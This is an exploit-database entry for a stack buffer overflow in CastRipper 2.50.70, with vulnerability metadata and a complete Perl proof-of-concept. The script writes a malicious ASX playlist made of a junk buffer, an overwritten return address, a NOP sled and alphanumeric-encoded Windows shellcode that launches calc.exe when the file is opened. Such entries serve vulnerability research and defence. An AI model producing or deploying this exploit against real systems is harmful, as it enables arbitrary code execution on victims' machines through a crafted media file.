CastRipper 2.50.70 : ASX playlist Stack Overflow Exploit

vendor:

CastRipper

by:

Jordi Chancel

7,5

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: CastRipper

Affected Version From: 2.50.70

Affected Version To: 2.50.70

Patch Exists: YES

Related CWE: N/A

CPE: a:castripper:castripper:2.50.70

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

CastRipper 2.50.70 : ASX playlist Stack Overflow Exploit

This exploit is for CastRipper 2.50.70, which is vulnerable to a stack overflow vulnerability. The exploit is written in Perl and uses a PexAlphaNum encoder to generate a shellcode. The exploit creates an ASX playlist file with a malicious URL containing the shellcode, which when opened in CastRipper, will execute the shellcode.

Mitigation:

Update to the latest version of CastRipper

Source

Exploit-DB raw data:

#!/usr/bin/perl
# Author : Jordi Chancel
# CastRipper 2.50.70 : ASX playlist Stack Overflow Exploit

use strict;
use warnings;
my $header1=    
"\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20".
"\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72".
"\x79\x3E\x0D\x0D\x0A".
"\x3C\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20\x22";

my $header2=
"\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D".
"\x0A\x3C\x2F\x61\x73\x78\x3E";

my $headerh="http://";


# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x31\x4b\x38".
"\x4f\x45\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x38".
"\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x34".
"\x4b\x58\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x31\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x58\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x58\x42\x54\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x33".
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x55\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56".
"\x4e\x36\x43\x36\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x50\x5a";


my $junk = "\x41" x 26369;
my $eip  = "\x7D\xBC\x01\x10"; # Universal

my $nops = "\x90" x 30;
open(my $playlist, "> exploit.asx");
print $playlist "$header1".$headerh.$junk.$eip.$nops.$shellcode.$junk.$header2.
                    "\r\n";
close $playlist;